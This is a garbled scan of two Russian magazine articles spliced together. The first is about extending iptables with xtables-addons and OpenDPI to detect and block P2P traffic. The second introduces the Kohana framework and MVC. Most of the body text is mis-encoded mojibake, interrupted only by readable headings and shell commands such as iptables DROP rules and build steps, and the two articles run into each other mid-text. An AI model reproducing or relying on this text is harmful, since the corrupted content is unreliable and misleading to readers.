³ÆÐÆÑÝ ÃÒÆ, ËÓÏ ÐÏÐÑÏÂÔÆÓ ÐÏÅËÌßØÉÓÝÒà Ë 22 ÐÏÑÓÔ, ÐÏÐÁÅÔÓ Ã ÑÁÒÒÓÁÃÌÆÎ-
ÎÜÆ ÒÆÓÉ.

После активации fail2ban в цепочках iptables появляются 
новые правила

ОpenDPI поддерживает большое количество протоколов
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ÏÅÔÌÝ DELUDE ÐÏÈÃÏÌàÆÓ ÃÃÆÒÓÉ Ã ÈÁÂÌÔÇÅÆÎÉÆ ÒËÁÎÆÑ, ÐÏËÁÈÜÃÁà, ØÓÏ 
ÈÁÐÑÁÙÉÃÁÆÍÜÊ ÐÏÑÓ ÏÓËÑÜÓ É ÐÑÉÎÉÍÁÆÓ ÐÏÅËÌßØÆÎÉà. ¦ÒÌÉ ÓÜ ÆÚÆ ÎÆ 
ÑÆÙÉÌ, ËÁËÏÊ ÌÔØÙÆ, TARPIT ÉÌÉ DELUDE, ÉÒÐÏÌÝÈÔÊ CHAOS, ËÏÓÏÑÜÊ Ã 
ÏÓÃÆÓ ÎÁ ÈÁÐÑÏÒ ÐÑÉÍÆÎàÆÓ Ã ÏÒÎÏÃÎÏÍ DROP (ÐÏ ÔÍÏÌØÁÎÉß Ë ÂÏÌÝÙÉÎ-
ÒÓÃÔ ÐÁËÆÓÏÃ), ÎÏ ÉÎÏÄÅÁ — TARPIT, DELUDE ÉÌÉ REJECT. °ÏÃÆÅÆÎÉÆ 
ÍÏÅÔÌà ÍÏÇÎÏ ÉÈÍÆÎÉÓÝ, ÔÒÓÁÎÏÃÉÃ ÐÁÑÁÍÆÓÑÜ ÐÑÉ ÈÁÄÑÔÈËÆ ÐÑÉ ÐÏÍÏÚÉ 
'--delude'/'--tarpit' ÉÌÉ Ã ÐÑÏ×ÆÒÒÆ ÃÜÐÏÌÎÆÎÉà Ã ÕÁÊÌÆ /sys/modules/
xt_CHAOS/parameters.
°ÑÏÆËÓ IPP2P ÐÑÆËÑÁÓÉÌ ÒÃÏÆ ÒÔÚÆÒÓÃÏÃÁÎÉÆ, ÎÏ Ã ÁÅÅÏÎÁÖ ÅÏÒÓÔÐÆÎ 
ÒÏÏÓÃÆÓÒÓÃÔßÚÉÊ ÍÏÅÔÌÝ, ÐÏÈÃÏÌàßÚÉÊ ÑÁÒÐÏÈÎÁÃÁÓÝ P2P-ÓÑÁÕÉË, 
ËÏÓÏÑÜÊ ÈÁÓÆÍ ÍÏÇÎÏ ÂÌÏËÉÑÏÃÁÓÝ ÉÌÉ ÏÄÑÁÎÉØÉÓÝ. £ ËÁØÆÒÓÃÆ ÅÏÐÐÁÑÁ-
ÍÆÓÑÏÃ ÍÏÇÎÏ ÔËÁÈÁÓÝ ÏÅÉÎ ÉÈ P2P-ÐÑÏÓÏËÏÌÏÃ, ÌÉÂÏ ÃÒÆ ÒÑÁÈÔ:

$ sudo iptables -A FORWARD -m ipp2p --ipp2p -j DROP

Анализируем трафик с OpenDPI
ÆÇÒÆÓÆÃÜÆ ÞËÑÁÎÜ, ÑÁÂÏÓÁßÚÉÆ ÎÁ ÃÓÏÑÏÍ É ÓÑÆÓÝÆÍ ÔÑÏÃÎàÖ, ÅÁÃÎÏ ÔÇÆ 
ÐÆÑÆÒÓÁÌÉ ÔÅÏÃÌÆÓÃÏÑàÓÝ ÒÏÃÑÆÍÆÎÎÜÍ ÓÑÆÂÏÃÁÎÉàÍ ÏÂÆÒÐÆØÆÎÉà ÂÆÈ-
ÏÐÁÒÎÏÒÓÉ. ®ÁÐÑÉÍÆÑ, ÂÌÏËÉÑÏÃËÁ ÐÏÑÓÏÃ, ÉÒÐÏÌÝÈÔÆÍÜÖ ICQ, ÎÉØÆÄÏ ÎÆ 
ÅÁÒÓ. °ÏÌÝÈÏÃÁÓÆÌÝ ÍÏÇÆÓ ÏÂÏÊÓÉ ÈÁÐÑÆÓ, ÐÏÅËÌßØÉÃÙÉÒÝ ØÆÑÆÈ ÐÑÏËÒÉ, 
ÑÁÂÏÓÁßÚÉÊ ÎÁ ÑÁÈÑÆÙÆÎÎÜÖ ÐÏÑÓÁÖ ÃÑÏÅÆ 80. ³ÏÌÝËÏ ÐÏÅÎàÃÙÉÒÝ ÃÜÙÆ, 
ÐÑÏÁÎÁÌÉÈÉÑÏÃÁÃ ÅÁÎÎÜÆ ÐÑÉËÌÁÅÎÏÄÏ ÔÑÏÃÎà, ÍÏÇÎÏ ÅÆÊÒÓÃÉÓÆÌÝÎÏ 
ÏÄÑÁÎÉØÉÓÝ ÎÆÇÆÌÁÓÆÌÝÎÜÊ ÓÑÁÕÉË. ²ÓÁÎÅÁÑÓÎÜÍÉ ÒÑÆÅÒÓÃÁÍÉ iptables 
ÞÓÏÄÏ ÅÏÂÉÓÝÒà ÎÆÌÝÈà, ÐÏÞÓÏÍÔ ßÎÉËÒÏÉÅÜ ÃÈàÌÉ ÎÁ ÃÏÏÑÔÇÆÎÉÆ L7-filter 
É IPP2P. ®Ï ÄÏÃÏÑÉÓÝ Ï ÎÉÖ ÎÆ ÂÔÅÆÍ, ÓÁË ËÁË ÉÍ ÎÁ ÒÍÆÎÔ ÐÑÉÙÌÏ ÂÏÌÆÆ ÉÎ-
ÓÆÑÆÒÎÏÆ ÑÆÙÆÎÉÆ — OpenDPI (opendpi.org, code.google.com/p/opendpi). 
±ÁÒÐÑÏÒÓÑÁÎàÆÍÜÊ ÐÏÅ ÌÉ×ÆÎÈÉÆÊ LGPLv3, OpenDPI ÐÏÒÓÑÏÆÎ ÎÁ ËÏÅÆ 
ËÏÍÍÆÑØÆÒËÏÄÏ ÐÑÏÅÔËÓÁ PACE, ËÏÓÏÑÜÊ ÑÁÈÑÁÂÁÓÜÃÁÆÓÒà ËÏÍÐÁÎÉÆÊ 
Ipoque. ³Ï ÆÒÓÝ ÏÒÎÏÃÁ ÒÏÌÉÅÎÁà, ÓÁË ËÁË PACE ÐÏÈÉ×ÉÏÎÉÑÔÆÓÒà ËÁË ÒÑÆÅ-
ÒÓÃÏ ËÌÁÒÒÉÕÉËÁ×ÉÉ ÓÑÁÕÉËÁ É ÔÐÑÁÃÌÆÎÉà ÐÑÏÐÔÒËÎÏÊ ÒÐÏÒÏÂÎÏÒÓÝß 
ÒÆÓÆÊ ÔÑÏÃÎà ÉÎÓÆÑÎÆÓ-ÐÑÏÃÁÊÅÆÑÁ. £ÒÆ ÃÏÈÍÏÇÎÏÒÓÉ ÐÏ ÏÐÑÆÅÆÌÆÎÉß 
ÐÑÏÓÏËÏÌÏÃ ÐÆÑÆÙÌÉ ÏÓ PACE Ë OpenDPI: P2P, Skype, VoIP, IM, ÐÏÓÏËÏÃÏÆ 
ÃÉÅÆÏ É ÁÔÅÉÏ, ÒÆÓÆÃÜÆ ÉÄÑÜ É ÐÑÏØÆÆ (ÐÏÅÑÏÂÎÆÆ Ï DPI ØÉÓÁÊ ÃÏ ÃÑÆÈËÆ).
²ÓÁÃÉÍ ÎÆÏÂÖÏÅÉÍÜÆ ÅÌà ÒÂÏÑËÉ ÐÁËÆÓÜ:

$ sudo apt-get install make gcc libpcap-dev

²ËÁØÉÃÁÆÍ Ò ÒÁÊÓÁ ÐÑÏÆËÓÁ opendpi-1.2.0.tar.gz É opendpi-netfilter-
wrapper-1.1.tar.gz, Á ÈÁÓÆÍ ÔÒÓÁÎÁÃÌÉÃÁÆÍ Ã ÒÏÏÓÃÆÓÒÓÃÉÉ Ò ÉÎÒÓÑÔË×ÉàÍÉ 
ÃÎÔÓÑÉ, ÎÆ ÈÁÂÜÃ ÎÁÌÏÇÉÓÝ ÅÃÁ ÐÁÓØÁ:

$ tar -xzf opendpi-netfi lter-wrapper-1.1.tar.gz
$ cd opendpi-netfi lter-wrapper-1.1
$ tar -xzf ../opendpi-1.2.0.tar.gz
$ cd opendpi-1.2.0
$ patch -p0 < ../ipq_main.h.diff

$ patch -p0 < ../ipq_protocols.h.diff

´ÒÓÁÎÁÃÌÉÃÁÆÍ ÐÆÑÆÍÆÎÎÔß ÒÑÆÅÜ:

$ export OPENDPI_PATH=$(pwd)

®Ï ÈÅÆÒÝ ÆÒÓÝ ÐÑÏÂÌÆÍÜ. £ ÅÏËÔÍÆÎÓÁ×ÉÉ ÒËÁÈÁÎÏ, ØÓÏ ÐÏÅÅÆÑÇÉÃÁÆÓ-
Òà ÃÁÎÉÌÝÎÏÆ àÅÑÏ (2.6.27-33), Ã ÏÒÓÁÌÝÎÜÖ ÒÌÔØÁàÖ OpenDPI ÍÏÇÆÓ ÎÆ 
ÒÏÂÑÁÓÝÒà ÉÌÉ ÑÁÂÏÓÁÓÝ ÎÆ ÓÁË. ®Á ÕÏÑÔÍÆ ÐÑÏÆËÓÁ ÍÏÇÎÏ ÎÁÊÓÉ ÐÁÓØÉ 
ÅÌà ÎÆËÏÓÏÑÜÖ ÎÏÃÜÖ ÃÆÑÒÉÊ ËÆÑÎÆÌÁ. ®ÁÐÑÉÍÆÑ, ÐÏ ÁÅÑÆÒÔ clck.ru/
DWl8 ÅÏÒÓÔÐÆÎ ÐÁÓØ ÅÌà 2.6.35 (ÓÁËÏÆ àÅÑÏ ÉÒÐÏÌÝÈÔÆÓÒà Ã ÐÏÒÌÆÅÎÆÍ LTS 
Ubuntu). «ÑÏÍÆ ÞÓÏÄÏ Ã àÅÑÆ ÅÏÌÇÎÜ ÂÜÓÝ ÔÒÓÁÎÏÃÌÆÎÜ ÏÐ×ÉÉ CONFIG_
NF_CONNTRACK_EVENTS É CONFIG_NF_CT_NETLINK. £ ÂÏÌÝÙÉÎÒÓÃÆ 
ÒÏÃÑÆÍÆÎÎÜÖ ÅÉÒÓÑÉÂÔÓÉÃÏÃ ÓÁË ÒÅÆÌÁÎÏ ÐÏ ÔÍÏÌØÁÎÉß. £ Ubuntu É 
ÎÆËÏÓÏÑÜÖ ÅÑÔÄÉÖ .config-ÕÁÊÌ ÌÆÇÉÓ Ã ËÁÓÁÌÏÄÆ /boot. ÏÇÎÏ ÌÆÄËÏ ÐÑÏ-
ÃÆÑÉÓÝ. ¢ÆÑÆÍ ÐÁÓØ, ËÏÐÉÑÔÆÍ ÆÄÏ Ã opendpi-netfilter-wrapper, ÐÑÉÍÆÎà-
ÆÍ, Á ÈÁÓÆÍ ÃÜÐÏÌÎàÆÍ ÒÂÏÑËÔ:

$ cd ../wrapper
$ patch -p3 < ../opendpi-netfi lter-wrapper-1.1_2.6.35_v3.patch
$ make

¦ÒÌÉ ÃÒÆ ÑÁÃÎÏ ÐÏÌÔØÁÆÍ ÏÙÉÂËÔ, ÓÏÄÅÁ ÐÑÏÂÔÆÍ ÃÁÎÉÌÝÎÏÆ àÅÑÏ ÃÆÑÒÉÉ 
2.6.33. ²ÓÁÃÉÍ ÍÏÅÔÌÝ:

$ sudo make modules_install
$ sudo cp ipt/libxt_opendpi.so /lib/xtables

¨ÁÄÑÔÇÁÆÍ É ÍÏÇÆÍ ÉÒÐÏÌÝÈÏÃÁÓÝ:

$ sudo modprobe xt_opendpi

£ÒÆ ÅÏÒÓÔÐÎÜÆ ÐÁÑÁÍÆÓÑÜ ÍÏÇÎÏ ÐÏÌÔØÉÓÝ, ÃÃÆÅà:

$ sudo iptables -m opendpi --help

£ÜÂÉÑÁÆÍ ÎÔÇÎÜÊ ÐÑÏÓÏËÏÌ (ÏÎÉ ÓÁËÇÆ ÏÐÉÒÁÎÜ Ã ÕÁÊÌÆ ipq_protocols_
osdpi.h) É ÂÌÏËÉÑÔÆÍ ÆÄÏ:

iptables -A FORWARD -m opendpi --bittorrent -j DROP

¾ÓÏ ÒÁÍÜÊ ÐÑÏÒÓÏÊ ÃÁÑÉÁÎÓ, ÍÏÇÎÏ ÍÁÑËÉÑÏÃÁÓÝ ÎÔÇÎÜÊ ÓÑÁÕÉË, ØÓÏÂÜ 
ÈÁÓÆÍ ÉÒÐÏÌÝÈÏÃÁÓÝ Ã ÙÆÊÐÆÑÆ.

Заключение
©ÒÐÏÌÝÈÔà ÒÓÏÑÏÎÎÉÆ ÎÁÑÁÂÏÓËÉ, ÍÏÇÎÏ ÌÆÄËÏ ÑÁÒÙÉÑÉÓÝ ÒÓÁÎÅÁÑÓÎÜÆ 
ÃÏÈÍÏÇÎÏÒÓÉ iptables, ÒÔÚÆÒÓÃÆÎÎÏ ÒÎÉÈÉÃ ÑÉÒËÉ ÅÌà ÖÏÒÓÁ ÉÌÉ ×ÆÌÏÊ 
ÒÆÓÉ. «ÏÎÆØÎÏ, ÎÆËÏÓÏÑÏÆ ÃÑÆÍà ÐÑÉÅÆÓÒà ÈÁÓÑÁÓÉÓÝ ÎÁ ÒÏÈÅÁÎÉÆ É ÏÓÌÁÅ-
ËÔ ÎÆÏÂÖÏÅÉÍÜÖ ÐÑÁÃÉÌ, ÎÏ ÞÓÏ ÃÐÏÒÌÆÅÒÓÃÉÉ ÏËÔÐÉÓÒà ÒÐÏÌÎÁ. z

После установки xtables-addons будет загружен соответ-
ствующий модуль ядра

Ставим базы для GeoIP
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CODING

WEB-ÏÐÈËÎÆÅÍÈß 
Ñ ÒÓÐÁÎÍÀÄÄÓÂÎÌ

 Ïðîøëè òå âðåìåíà, êîãäà áûëî ìîäíî ðàçðàáàòûâàòü web-
ïðèëîæåíèÿ, ñîñòîÿùèå èç îäíîãî ñöåíàðèÿ, ïî óøè íàïè÷êàííîãî 
êîäîì. Íà äâîðå 2011 ãîä, è óæå êàê-òî íåñîëèäíî ïðèäåðæèâàòüñÿ 
ñòîëü êîíñåðâàòèâíûõ èäåé. Âðåìÿ äâèãàòüñÿ âïåðåä è îòäàâàòü 
ïðåäïî÷òåíèå ñîâðåìåííûì ìåòîäàì ðàçðàáîòêè — ïðèìåíåíèþ 
Content Management Framework. Ñåãîäíÿ ÿ ïîçíàêîìëþ òåáÿ ñ 
îäíèì èç ëó÷øèõ ïðåäñòàâèòåëåé ñîâðåìåííûõ CMF.

Ôðåéìâîðê Kohana + øàáëîí 
ïðîåêòèðîâàíèÿ MVC = love

Что такое фреймворк?
Content Management Framework (CMF) — ÎÁÂÏÑ ÉÎÒÓÑÔÍÆÎÓÏÃ ÅÌà 
ÑÁÈÑÁÂÏÓËÉ ÒÉÒÓÆÍ ÔÐÑÁÃÌÆÎÉà ËÏÎÓÆÎÓÏÍ (Content Management 
System). £ ÏÓÌÉØÉÆ ÏÓ CMS, ÕÑÆÊÍÃÏÑËÉ (Ã ÂÏÌÝÙÉÎÒÓÃÆ ÒÌÔØÁÆÃ) ÎÆ 
ÄÏÓÏÃÜ Ë ÑÁÂÏÓÆ ÒÑÁÈÔ, ÐÏÒËÏÌÝËÔ ÏÎÉ ÐÑÆÅÒÓÁÃÌàßÓ ÒÏÂÏÊ ÌÉÙÝ ÏÓ-
ÅÆÌÝÎÜÆ ËÉÑÐÉØÉËÉ. ̈ ÁÅÁØÁ ÑÁÈÑÁÂÏÓØÉËÁ — ÎÁÂÑÁÓÝÒà ÒÉÌ É ÒÌÏÇÉÓÝ 
ÉÈ ÞÓÉÖ ÍÁÓÆÑÉÁÌÏÃ ÐÏÌÎÏ×ÆÎÎÏÆ ÐÑÉÌÏÇÆÎÉÆ. CMS — ÞÓÏ ÓÏÇÆ ÒÃÏÆÄÏ 
ÑÏÅÁ «ËÔÂÉËÉ», ÎÏ ÏÎÉ ÄÏÓÏÃÜ Ë ÑÁÂÏÓÆ ÉÈ ËÏÑÏÂËÉ É ÃÐÏÌÎÆ ÍÏÄÔÓ ÕÔÎË-
×ÉÏÎÉÑÏÃÁÓÝ ÂÆÈ ÅÏÑÁÂÏÓËÉ ËÏÅÁ.

Три главных плюса CMF
¦ÒÌÉ ÏÓ ÕÑÆÊÍÃÏÑËÏÃ ÎÆ ÂÜÌÏ ÏÒÏÂÏÊ ÐÏÌÝÈÜ, ÓÏ ÎÉËÓÏ ÂÜ ÎÆ ÑÆÙÉÌÒà 
ÉÒÐÏÌÝÈÏÃÁÓÝ ÉÖ Ã ÒÃÏÉÖ ÐÑÏÆËÓÁÖ — ÇÉÈÎÝ ÒÏÃÑÆÍÆÎÎÏÄÏ ÑÁÈÑÁÂÏÓ-
ØÉËÁ É ÓÁË ÅÏÒÓÁÓÏØÎÏ ÓàÇÆÌÁ. ©È ÎÁÉÂÏÌÆÆ ÏÚÔÓÉÍÜÖ ÐÌßÒÏÃ CMF 
ÍÏÇÎÏ ÃÜÅÆÌÉÓÝ: 
1. ̄ ÐÓÉÍÉÈÉÑÏÃÁÎÎÜÊ ËÏÅ. ®ÁÅ ÕÑÆÊÍÃÏÑËÁÍÉ ÓÑÔÅàÓÒà ÑÁÈÑÁÂÏÓØÉ-
ËÉ, ÔÅÆÌàßÚÉÆ ÏÐÓÉÍÉÈÁ×ÉÉ ÅÏÒÓÁÓÏØÎÏ ÍÎÏÄÏ ÃÑÆÍÆÎÉ.
2. ²ËÁÇÉ «ÎÆÓ» ÃÆÌÏÒÉÐÆÅÁÍ. «ÁË ÐÑÁÃÉÌÏ, Ã ÕÑÆÊÍÃÏÑËÆ ÔÇÆ ÉÍÆßÓÒà 
ÄÏÓÏÃÜÆ ÑÆÙÆÎÉà ÅÌà ÓÉÐÉØÎÜÖ ÈÁÅÁØ. ³ÔÓ ÓÆÂÆ É ÒÓÑÔËÓÔÑÁ ÐÁÐÏË, 
É ÃÒÐÏÍÏÄÁÓÆÌÝÎÜÆ ÂÉÂÌÉÏÓÆËÉ, É ËÔØÁ ÃÒàËÉÖ ÃËÔÒÎÏÒÓÆÊ. ÎÏÄÉÆ 
ÃÆÚÉ ÉÈÎÁØÁÌÝÎÏ ÄÏÓÏÃÜ Ë ÑÁÂÏÓÆ É ÐÏÈÃÏÌàßÓ ÑÁÈÑÁÂÏÓØÉËÔ ÒÑÁÈÔ 
ÐÑÉÒÓÔÐÉÓÝ Ë ÑÁÈÑÁÂÏÓËÆ ÕÔÎË×ÉÏÎÁÌÁ ÐÑÉÌÏÇÆÎÉà, ÎÆ ÑÁÈÃÌÆËÁàÒÝ 
ÎÁÐÉÒÁÎÉÆÍ ËÔØÉ ÑÔÓÉÎÎÏÄÏ ËÏÅÁ.
3. ́ ÐÑÏÚÆÎÎÁà ËÏÍÁÎÅÎÁà ÑÁÂÏÓÁ. ¦ÒÌÉ ÐÑÏÆËÓ ÑÁÈÑÁÂÁÓÜÃÁÆÓÒà 
×ÆÌÏÊ ËÏÍÁÎÅÏÊ, ÓÏ ÐÑÉÍÆÎÆÎÉÆ CMF (ÏÒÏÂÆÎÎÏ ÐÏÐÔÌàÑÎÏÄÏ) ÅÁÆÓ 
ÏÚÔÓÉÍÜÊ ÐÌßÒ ÐÑÉ ÐÏàÃÌÆÎÉÉ Ã ËÏÍÁÎÅÆ ÎÏÃÆÎÝËÏÄÏ. ¦ÍÔ ÂÔÅÆÓ ÐÑÏ-
ÚÆ ÃËÌßØÉÓÝÒà Ã ÐÑÏÆËÓ, ÓÁË ËÁË ÅÌà ÞÓÏÄÏ ÎÆÏÂÖÏÅÉÍÏ ÏÈÎÁËÏÍÉÓÝÒà Ò 
CMF, ÐÏ ËÏÓÏÑÏÍÔ ÎÁÃÆÑÎàËÁ ÎÁÐÉÒÁÎÏ ÍÎÏÇÆÒÓÃÏ ÒÓÁÓÆÊ É ÍÁÎÔÁÌÏÃ. 

Святая троица: модель, представле-
ние, контроллер
£ÒÆÖ ÑÁÈÑÁÂÏÓØÉËÏÃ ÔÒÌÏÃÎÏ ÍÏÇÎÏ ÑÁÈÅÆÌÉÓÝ ÎÁ ÅÃÆ ÂÏÌÝÙÉÆ ÄÑÔÐÐÜ 
— «ÄÁÎÄÒÓÆÑÜ» É «ÈÁËÏÎÏÐÏÒÌÔÙÎÜÆ ÄÑÁÇÅÁÎÆ». °ÆÑÃÜÆ ÎÆ ÐÑÉÅÆÑ-

ÇÉÃÁßÓÒà ÎÉËÁËÉÖ ÒÓÁÎÅÁÑÓÏÃ É ÖÏÑÏÙÏ ÈÁÑÆËÏÍÆÎÅÏÃÁÃÙÉÖ ÒÆÂà 
ÑÆÙÆÎÉÊ, Á ÅÆÌÁßÓ ÃÒÆ ÎÁÏÂÔÍ. ̄ ÎÉ ÎÆ ÅÔÍÁßÓ ÎÉ Ï ËÁËÉÖ ÙÁÂÌÏÎÁÖ 
ÐÑÏÆËÓÉÑÏÃÁÎÉà, Á ÐÑÏÒÓÏ ÌÆÐàÓ ËÏÅ. £ ÂÏÌÝÙÉÎÒÓÃÆ ÒÌÔØÁÆÃ ÓÁËÉÆ 
ÐÑÏÄÑÁÍÍÉÒÓÜ ÎÆ ÒÐÏÒÏÂÎÜ ÈÁÎÉÍÁÓÝÒà ÂÏÌÝÙÉÍÉ ÐÑÏÆËÓÁÍÉ. 
«¤ÑÁÂÁÎÔÓÝ ÐÏÆÈÅ» (Ã ÒÍÜÒÌÆ, ÒÏÑÃÁÓÝ ÎÆÂÏÌÝÙÏÊ ËÔÙ, ÎÁÐÉÒÁÃ ÐÑÏ-
ÒÓÆÎÝËÏÆ ÐÑÉÌÏÇÆÎÉÆ) — ÞÓÏ ÃÒÆÄÅÁ ÐÏÇÁÌÔÊÒÓÁ. ²ÅÆÌÁßÓ ÂÜÒÓÑÏ É ÂÆÈ 
ÌÉÙÎÆÄÏ ÙÔÍÁ. ¡ ÃÏÓ Ò ËÑÔÐÎÜÍÉ ÅÆÌÁÍÉ Ô ÎÉÖ ÃÏÈÎÉËÁßÓ ÐÑÏÂÌÆÍÜ. 
¥Ìà ÐÑÏÆËÓÏÃ, ³¨ ËÏÓÏÑÜÖ ÒÏÅÆÑÇÉÓ ÕÑÁÈÔ «ÅÏÌÇÆÎ ÂÜÓÝ ÍÁÒÙÓÁÂÉ-
ÑÔÆÍ», ÓÁËÉÆ «ÒÐÆ×ÉÁÌÉÒÓÜ» ÎÆ ÄÏÅàÓÒà, ÐÏÒËÏÌÝËÔ ÎÁËÏÌÂÁÒÉÓÝ ËÔØÔ 
ËÏÅÁ Ã ÏÅÎÏÍ ÍÏÅÔÌÆ É ÈÁÂÜÓÝ Ã ÓÁËÉÖ ÐÑÏÆËÓÁÖ ÎÆ ÐÏÌÔØÉÓÒà. ³ÔÓ ÎÔÇÆÎ 
ÏÐÑÆÅÆÌÆÎÎÜÊ ÐÏÅÖÏÅ É ÍÁËÒÉÍÁÌÝÎÏÆ ÑÁÈÅÆÌÆÎÉÆ ËÏÅÁ. 
¨Á ÄÏÅÜ ÑÁÈÃÉÓÉà àÈÜËÏÃ ÐÑÏÄÑÁÍÍÉÑÏÃÁÎÉà ÂÜÌÉ ÒÏÈÅÁÎÜ ÑÁÈÌÉØ-
ÎÜÆ ÍÆÓÏÅÉËÉ — ÐÁÓÓÆÑÎÜ («ÙÁÂÌÏÎÜ») ÐÑÏÆËÓÉÑÏÃÁÎÉà °¯. ̄ ÅÎÉÍ ÉÈ 
ÓÁËÉÖ ÐÁÓÓÆÑÎÏÃ É àÃÌàÆÓÒà Model-View-Controller. À ÂÜ ÅÁÇÆ ÒËÁÈÁÌ, 
ØÓÏ ÒÆÄÏÅÎà ÞÓÏ, ÎÁÃÆÑÎÏÆ, ÒÁÍÜÊ ÐÏÐÔÌàÑÎÜÊ ÙÁÂÌÏÎ.
®Æ ÂÔÅÔ ÖÏÅÉÓÝ ÃÏËÑÔÄ ÅÁ ÏËÏÌÏ, Á ÒÑÁÈÔ ÐÆÑÆÊÅÔ Ë ÒÔÓÉ. ¦ÒÌÉ ÓÜ ÈÎÁËÏÍ 
Ò ÞÓÉÍ ÐÁÓÓÆÑÎÏÍ, ÓÏ ÒÌÆÅÔßÚÉÊ ÑÁÈÅÆÌ ÒÓÁÓÝÉ ÍÏÇÆÙÝ ÐÑÏÐÔÒÓÉÓÝ É 
ÐÆÑÆÊÓÉ ÒÑÁÈÔ Ë ÐÑÁËÓÉËÆ. ®Ô Á ÓÆÍ, ËÓÏ ÎÆ Ã ËÔÑÒÆ, ÎÁÒÓÏàÓÆÌÝÎÏ ÑÆËÏ-
ÍÆÎÅÔß ÔÅÆÌÉÓÝ ÃÑÆÍà ÓÆÏÑÉÉ, ÐÏÒËÏÌÝËÔ ÐÑÉ ÑÁÈÑÁÂÏÓËÆ ÎÁ Kohana 
ÓÆÂÆ Ã ÏÂàÈÁÓÆÌÝÎÏÍ ÐÏÑàÅËÆ ÐÑÉÅÆÓÒà ÐÑÉÅÆÑÇÉÃÁÓÝÒà ÙÁÂÌÏÎÁ 
MVC.

Контроллер
«ÏÎÓÑÏÌÌÆÑ Ã MVC ÃÜÐÏÌÎàÆÓ ÑÏÌÝ ÎÆËÏÆÄÏ ÅÉÒÐÆÓØÆÑÁ-
ÑÆÄÔÌÉÑÏÃÚÉËÁ. ̄ Î ÎÆ ÅÏÌÇÆÎ ÉÈÍÆÎàÓÝ ÉÌÉ ÅÏÂÁÃÌàÓÝ ÅÁÎÎÜÆ, 
ÐÑÏÉÈÃÏÅÉÓÝ ÑÁÒØÆÓÜ É Ó.Å. ¦ÄÏ ×ÆÌÝ — ÏÂÒÌÔÇÉÃÁÓÝ ÐÏÒÓÔÐÁßÚÉÆ 
ÈÁÐÑÏÒÜ É ÎÁ ËÁÇÅÜÊ ÓÁËÏÊ ÈÁÐÑÏÒ ÒÏÏÓÃÆÓÒÓÃÔßÚÉÍ ÏÂÑÁÈÏÍ 
ÏÓÃÆØÁÓÝ. ®ÁÐÑÉÍÆÑ, ÐÏÌÝÈÏÃÁÓÆÌÝ ÏÂÑÁÚÁÆÓÒà Ë ÄÌÁÃÎÏÊ ÒÓÑÁÎÉ-
×Æ ÒÁÊÓÁ ÎÁÙÆÄÏ ÇÔÑÎÁÌÁ — http://xakep.ru. ¦ÄÏ ÈÁÐÑÏÒ Ã ÐÆÑÃÔß 
ÏØÆÑÆÅÝ ÐÏÌÔØÁÆÓ ÏÐÑÆÅÆÌÆÎÎÜÊ ËÏÎÓÑÏÌÌÆÑ (ÆÒÌÉ ÑÁÒÒÍÁÓÑÉÃÁÓÝ 
ÎÁ ÐÑÉÍÆÑÆ ÙÁÂÌÏÎÁ MVC). °ÏÒÌÆ ÐÏÌÔØÆÎÉà ÈÁÐÑÏÒÁ ÏÎ ÃÜÐÏÌ-
ÎàÆÓ ÅÆÊÒÓÃÉÆ, ÈÁÂÉÎÅÆÎÎÏÆ ÎÁ ÅÁÎÎÜÊ ÓÉÐ ÈÁÐÑÏÒÁ. °ÑÉØÆÍ ÒÁÍ 
ËÏÎÓÑÏÌÌÆÑ ÎÉ Ã ËÏÆÍ ÒÌÔØÁÆ ÎÆ ÅÏÌÇÆÎ ÒÏÅÆÑÇÁÓÝ ËÏÅ ÅÌà ÃÜÂÏÑËÉ 
ÅÁÎÎÜÖ É Ó.Å. ²ÁÍÁ ÃÜÂÏÑËÁ ÅÏÌÇÎÁ ÂÜÓÝ ÏÑÄÁÎÉÈÏÃÁÎÁ Ã ÍÏÅÆÌÉ. 
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Модель
£ ÍÏÅÆÌÉ ÏÐÉÒÜÃÁÆÓÒà ÃÒà ÂÉÈÎÆÒ-ÌÏÄÉËÁ ÐÑÉÌÏÇÆÎÉà. 
£ÜÂÏÑËÉ, ÍÏÅÉÕÉËÁ×Éà ÅÁÎÎÜÖ, ÑÁÒØÆÓÜ — ÃÒÆ ÞÓÏ ÅÏÌÇ-
ÎÏ ÃÜÐÏÌÎàÓÝÒà Ã ÍÏÅÆÌÉ, Ë ËÏÓÏÑÏÊ É ÂÔÅÆÓ ÏÂÑÁÚÁÓÝÒà 
ËÏÎÓÑÏÌÌÆÑ. °ÑÉØÆÍ ÃÒÆ ÒÄÆÎÆÑÉÑÏÃÁÎÎÜÆ Ã ÍÏÅÆÌÉ 
ÅÁÎÎÜÆ ÎÆ ÅÏÌÇÎÜ ÒÏÅÆÑÇÁÓÝ ÑÁÈÍÆÓËÔ. ³ÏÌÝËÏ ÅÁÎÎÜÆ Ã 
ÒÜÑÏÍ ÃÉÅÆ É ÎÉØÆÄÏ ÂÏÌÝÙÆ. 

Представление
°ÏÒÌÆÅÎÉÊ ËÏÍÐÏÎÆÎÓ ÁÑÖÉÓÆËÓÔÑÜ MVC — ÐÑÆÅÒÓÁÃÌÆ-
ÎÉÆ. ¾ÓÏÓ ÞÌÆÍÆÎÓ ÏÓÃÆØÁÆÓ ÈÁ ÃÜÃÏÅ ÅÁÎÎÜÖ Ã ÎÔÇÎÏÍ 
ÃÉÅÆ. ©ÍÆÎÎÏ ÃÏ ÃÝßÙËÁÖ (ÒÌÆÎÄÏÃÏÆ ÎÁÈÃÁÎÉÆ ÐÑÆÅÒÓÁÃ-
ÌÆÎÉà) É ÅÏÌÇÎÁ ÂÜÓÝ ÃÒà ÑÁÈÍÆÓËÁ. ®ÆÒÏÍÎÆÎÎÏ, Ã ÎÉÖ 
ÓÁËÇÆ ÍÏÇÆÓ ÒÏÅÆÑÇÁÓÝÒà É ÐÑÏÄÑÁÍÍÎÜÊ ËÏÅ, ÏÓÃÆØÁß-
ÚÉÊ ÒÔÄÔÂÏ ÈÁ ÃÜÃÏÅ ÅÁÎÎÜÖ, ÐÏÌÔØÆÎÎÜÖ ÏÓ ËÏÎÓÑÏÌÌÆÑÁ. 
®Ï ÎÉËÁËÏÊ ÂÉÈÎÆÒ-ÌÏÄÉËÉ ÓÁÍ ÂÜÓÝ ÎÆ ÍÏÇÆÓ.
°ÆÑÒÐÆËÓÉÃÜ É ÐÌßÒÜ ÉÒÐÏÌÝÈÏÃÁÎÉà MVC ÏØÆÃÉÅÎÜ. 
°ÏÍÉÍÏ ÑÆÙÆÎÉà ÂÁÎÁÌÝÎÏÊ ÈÁÅÁØÉ ÃÑÏÅÆ ÏÓÅÆÌÆÎÉà 
